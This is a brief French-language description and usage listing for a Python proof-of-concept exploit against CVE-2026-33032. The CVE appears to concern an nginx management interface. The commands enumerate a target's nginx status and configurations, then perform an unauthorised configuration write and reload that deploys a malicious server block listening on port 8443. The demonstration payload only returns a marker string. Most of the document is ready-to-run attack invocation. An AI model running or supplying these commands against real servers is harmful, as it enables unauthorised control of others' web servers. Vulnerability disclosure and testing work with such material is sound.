
Preuve de concept en Python pour CVE-2026-33032 qui inspecte le statut et les configurations de nginx, puis démontre une écriture non autorisée de configuration avec rechargement afin de déployer un bloc de serveur malveillant.
python3 main.py http://target:9000 --tool nginx_status
python3 main.py 10.0.0.50 --tool nginx_config_list
python3 main.py http://target:9000 \
--tool nginx_config_add \
--payload poc.conf \
--content 'server { listen 8443; return 200 "MCPwned\n"; }'